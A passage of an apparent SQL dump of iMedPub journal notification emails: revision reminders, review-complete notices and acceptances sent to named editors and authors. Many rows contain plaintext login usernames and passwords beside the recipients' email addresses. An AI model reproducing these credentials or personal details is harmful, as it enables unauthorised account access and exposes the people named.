Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','patricia.islas@uacj.mx',2727,'2019-12-05',84),(679,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-19-2674</b><br />\r\n            <br />\r\n            Article Title: <b>Implementation barriers for mHealth for non communicable diseases prevention and management in low and middle income countries a scoping review and field based views from implementers </b><br />\r\n            <br />\r\n            Journal Title: <b>Health Systems and Policy Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>van Olmen</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>iphspr-19-2674</b> by<b>&nbsp;09 December 2019</b><br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"http://www.hsprj.com/\">http://www.hsprj.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>josefien</b><br />\r\n            Password : <b>7uYIyzXr</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"http://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','jvanolmen@itg.be',2674,'2019-12-06',84),(681,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-19-557</b><br />\r\n            <br />\r\n            Article Title: <b>Mid-Term Assessment of Maternal Care Assistance Program Implementation in Leyte Province, 2014-2017 in terms of Facility-Based Delivery, Maternal Mortality Ratio, and Infant Mortality Rate</b><br />\r\n            <br />\r\n            Journal Title: <b>Health Systems and Policy Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Gaytos Rosaldo</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>iphspr-19-557</b> by<b>&nbsp;09 December 2019</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"http://www.hsprj.com/\">http://www.hsprj.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>adelaida</b><br />\r\n            Password : <b>UELYzHeA</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"http://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','agrosaldo@up.edu.ph',557,'2019-12-06',84),(682,'<p>Ref.:  Ms. No. : <b>iphspr-19-555</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Evaluating the impact of the National Adolescent Health Strategic Plan on Adolescent Sexual Reproductive Health Services in Zambia: A qualitative study</b><br />\r\n<br />\r\nJOURNAL: <b>Health Systems and Policy Research</b><br />\r\n<br />\r\nDear <b>Dr. Chisashi</b>,<br />\r\n<br />\r\nThe revision of <b>iphspr-19-555</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>09 DEC 2019</b><br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"http://www.hsprj.com/\">Health Systems and Policy Research</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>mercy</b><br />\r\npassword: <b>T1EncDHs</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"http://www.hsprj.com/\">Health Systems and Policy Research</a></b></p>',1,'Author Revision Subsequent Reminder','mercy.zimba@gmail.com',555,'2019-12-07',84),(683,'<p>Ref.:  Ms. No. : <b>iphspr-19-557</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Mid-Term Assessment of Maternal Care Assistance Program Implementation in Leyte Province, 2014-2017 in terms of Facility-Based Delivery, Maternal Mortality Ratio, and Infant Mortality Rate</b><br />\r\n<br />\r\nJOURNAL: <b>Health Systems and Policy Research</b><br />\r\n<br />\r\nDear <b>Dr. Gaytos Rosaldo</b>,<br />\r\n<br />\r\nThe revision of <b>iphspr-19-557</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>09 DEC 2019</b><br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"http://www.hsprj.com/\">Health Systems and Policy Research</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>adelaida</b><br />\r\npassword: <b>UELYzHeA</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"http://www.hsprj.com/\">Health Systems and Policy Research</a></b></p>',1,'Author Revision Subsequent Reminder','agrosaldo@up.edu.ph',557,'2019-12-07',84),(685,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-19-1674</b><br />\r\n            <br />\r\n            Article Title: <b>Engaging nurses in research and quality improvement is associated with higher job satisfaction and lower rates of unscheduled time off work: a pilot study</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Colin Fitzpatrick</b><br />\r\n            <br />\r\n            Journal Title: <b>Health Systems and Policy Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Islas Salinas</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>iphspr-19-1674</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> dr._patricia<br />\r\n            <b>Password:</b> SD84buCN<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','patricia.islas@uacj.mx',1674,'2019-12-09',84),(686,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacr-19-3011</b><br />\r\n            <br />\r\n            Article Title: <b>KNOWLEDGE, ATTITUDE, AND PRACTICE REGARDING PREVENTION AND SCREENING OF BREAST CANCER AMONG REPRODUCTIVE AGE WOMEN</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Sanjay Kumar Sah</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives in Cancer Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Misra </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacr-19-3011</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> sandeep<br />\r\n            <b>Password:</b> LnGnFadA<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.acanceresearch.com/\">Archives in Cancer Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','skmisra@olemiss.edu',3011,'2019-12-09',972),(688,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-19-2939</b><br />\r\n            <br />\r\n            Article Title: <b>Aquaponics the way forward for sustainable development </b><br />\r\n            <br />\r\n            Corresponding Author: <b>JIGNESH MEVADA</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of FisheriesSciences.com</b><br />\r\n            <br />\r\n            Dear Dr. <b>BUCK</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipfs-19-2939</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prof._dr._bela_h.<br />\r\n            <b>Password:</b> PTDXyt0Q<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','Bela.H.Buck@awi.de',2939,'2019-12-09',645),(689,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-19-2832</b><br />\r\n            <br />\r\n            Article Title: <b>First record of Ragged Sea Hare Bursatella leachii Blainville, 1817(Opisthobranchia: Euopisthobranchia:Aplysiidae) on Katigiorgis, eastern coast of Central Greece</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Chris Taklis</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of FisheriesSciences.com</b><br />\r\n            <br />\r\n            Dear Dr. <b>BUCK</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipfs-19-2832</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prof._dr._bela_h.<br />\r\n            <b>Password:</b> PTDXyt0Q<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','Bela.H.Buck@awi.de',2832,'2019-12-09',645),(692,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-19-2727</b><br />\r\n            <br />\r\n            Article Title: <b>Health care workers Motivation and retention approaches of health 4 workers in Ethiopia A scoping review</b><br />\r\n            <br />\r\n            Journal Title: <b>Health Systems and Policy Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Islas Salinas</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>iphspr-19-2727</b> for the <b>Health Systems and Policy Research</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','patricia.islas@uacj.mx',2727,'2019-12-10',84),(695,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-19-2933</b><br />\r\n            <br />\r\n            Article Title: <b>A purple urine bag syndrome in a CKD patient</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Narain</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Clinical Microbiology</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2019-12-10</b><br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','upmanarain@gmail.com',2933,'2019-12-10',248),(696,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-19-2852</b><br />\r\n            <br />\r\n            Article Title: <b>In vitro evaluation of bacteriophages against Methicillin-resistant Staphylococcus aureus(MRSA) isolated from burn wounds</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Hallajzadeh</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Clinical Microbiology</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2019-12-10</b><br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mas.hdeh@yahoo.com',2852,'2019-12-10',248),(703,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-19-2727</b><br />\r\n            <br />\r\n            Article Title: <b>Health care workers Motivation and retention approaches of health 4 workers in Ethiopia A scoping review</b><br />\r\n            <br />\r\n            Journal Title: <b>Health Systems and Policy Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Islas Salinas</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>iphspr-19-2727</b> for the <b>Health Systems and Policy Research</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','patricia.islas@uacj.mx',2727,'2019-12-13',84),(706,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-19-2645</b><br />\r\n            <br />\r\n            Article Title: <b>ANATOMIZING THE HUMAN BODY IN THE TRAINING ELEMENTARY SCHOOL: Experience report of the University extension of undergraduate nursing students</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shyam </b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipaom-19-2645</b> for the <b>Archives of Medicine</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 24 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','shyam.nandi@unmc.edu',2645,'2019-12-13',85),(714,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-19-2463</b><br />\r\n            <br />\r\n            Article Title: <b>Epigen&eacute;tica y enfermedades cr&oacute;nicas no transmisibles</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Jes&uacute;s Iglesias-Acosta</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Menendez</b><br />\r\n            <br />\r\n            The review for the manuscript <b>ipadm-19-2463</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','manuelmenendez@gmail.com',2463,'2019-12-17',274),(715,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-19-3072</b><br />\r\n            <br />\r\n            Article Title: <b>Study of  E.coli pathogens causing intestinal infections and use of bacteriophage preparation - Coli phage </b><br />\r\n            <br />\r\n            Corresponding Author: <b>Taras Gabisonia</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Wan</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacm-19-3072</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> xuehua<br />\r\n            <b>Password:</b> KgmZncOh<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','kkoster@hawaii.edu',3072,'2019-12-17',248),(716,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-19-2645</b><br />\r\n            <br />\r\n            Article Title: <b>ANATOMIZING THE HUMAN BODY IN THE TRAINING ELEMENTARY SCHOOL: Experience report of the University extension of undergraduate nursing students</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>do Carmo Borges Silva</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2019-12-18</b><br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','viniciusdocarmo1@hotmail.com',2645,'2019-12-18',85),(718,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-19-3072</b><br />\r\n            <br />\r\n            Article Title: <b>Study of  E.coli pathogens causing intestinal infections and use of bacteriophage preparation - Coli phage </b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Wan</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipacm-19-3072</b> for the <b>Archives of Clinical Microbiology</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','kkoster@hawaii.edu',3072,'2019-12-21',248),(724,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-19-2856</b><br />\r\n            <br />\r\n            Article Title: <b>	Prevalence of Community Acquired Methicillin Resistant Staphylococcus aureus nasal carriage among children of consultation: Experience of a Moroccan University Hospital </b><br />\r\n            <br />\r\n            Corresponding Author: <b>Saida Ed-dyb</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Kawaoka</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacm-19-2856</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> yoshihiro<br />\r\n            <b>Password:</b> 4TNl5fB6<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','kawaoka@ims.u-tokyo.ac.jp',2856,'2019-12-23',248),(727,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-19-2744</b><br />\r\n            <br />\r\n            Article Title: <b>A systematic review and meta-analysis of the Proportion and Antimicrobial Susceptibility pattern of Escherichia coli O157:H7 from different human foods  in Ethiopia:    </b><br />\r\n            <br />\r\n            Corresponding Author: <b>Tigist Egda</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Kawaoka</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacm-19-2744</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> yoshihiro<br />\r\n            <b>Password:</b> 4TNl5fB6<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','kawaoka@ims.u-tokyo.ac.jp',2744,'2019-12-24',248),(731,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-19-3126</b><br />\r\n            <br />\r\n            Article Title: <b>Urethrovesical foreign body in adolescents. Two case reports.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Slawomir Kiepura</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Arda </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-19-3126</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> isik<br />\r\n            